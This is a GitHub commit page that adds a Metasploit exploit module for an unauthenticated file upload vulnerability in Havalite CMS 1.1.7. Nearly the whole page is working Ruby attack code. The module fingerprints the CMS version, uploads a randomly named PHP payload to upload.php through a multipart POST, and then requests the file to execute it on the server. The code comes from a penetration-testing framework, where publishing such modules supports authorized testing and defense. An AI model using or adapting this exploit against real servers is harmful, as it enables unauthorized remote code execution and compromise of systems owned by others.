Skip to content

Commit 1a06003

Browse files
author
jvazquez-r7
committed
Land rapid7#1983, @wchen-r7's havalite exploit
2 parents 90cad4b + 7b0977f commit 1a06003

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::PhpEXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
19+
'Description' => %q{
20+
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
21+
possibly prior. Attackers can abuse the upload feature in order to upload a
22+
malicious PHP file without authentication, which results in arbitary remote code
23+
execution.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'CWH',
29+
'sinn3r' #Metasploit
30+
],
31+
'References' =>
32+
[
33+
['OSVDB', '94405'],
34+
['EDB', '26243']
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00"
39+
},
40+
'Platform' => ['linux', 'php'],
41+
'Targets' =>
42+
[
43+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
44+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
45+
],
46+
'Privileged' => false,
47+
'DisclosureDate' => "Jun 17 2013",
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
53+
], self.class)
54+
end
55+
56+
57+
def peer
58+
"#{rhost}:#{rport}"
59+
end
60+
61+
62+
#
63+
# Checks if target is running HavaLite CMS 1.1.7
64+
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
65+
# the vendor or OSVDB about exactly which ones are really vulnerable.
66+
#
67+
def check
68+
uri = normalize_uri(target_uri.path, 'havalite/')
69+
res = send_request_raw({'uri' => uri})
70+
71+
if not res
72+
print_error("#{peer} - Connection timed out")
73+
return Exploit::CheckCode::Unknown
74+
end
75+
76+
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
77+
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
78+
79+
if not version.empty? and version =~ /1\.1\.7/
80+
print_status("#{peer} - Version found: #{version}")
81+
return Exploit::CheckCode::Vulnerable
82+
end
83+
84+
Exploit::CheckCode::Unknown
85+
end
86+
87+
88+
#
89+
# Uploads our malicious file
90+
#
91+
def upload(base)
92+
p = get_write_exec_payload(:unlink_self=>true)
93+
fname = "#{rand_text_alpha(5)}.php"
94+
95+
data = Rex::MIME::Message.new
96+
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
97+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
98+
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
102+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
103+
'data' => post_data
104+
})
105+
106+
if not res
107+
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
108+
elsif res.code.to_i == 404
109+
fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
110+
elsif res.body =~ /"error"\:"abort"/
111+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
112+
end
113+
114+
return fname
115+
end
116+
117+
118+
#
119+
# Executes our uploaded malicious file
120+
#
121+
def exec(base, payload_fname)
122+
res = send_request_raw({
123+
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
124+
})
125+
126+
if res and res.code == 404
127+
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
128+
end
129+
end
130+
131+
132+
def exploit
133+
base = target_uri.path
134+
135+
print_status("#{peer} - Uploading malicious file...")
136+
fname = upload(base)
137+
138+
print_status("#{peer} - Executing #{fname}...")
139+
exec(base, fname)
140+
end
141+
end

0 commit comments

Comments
 (0)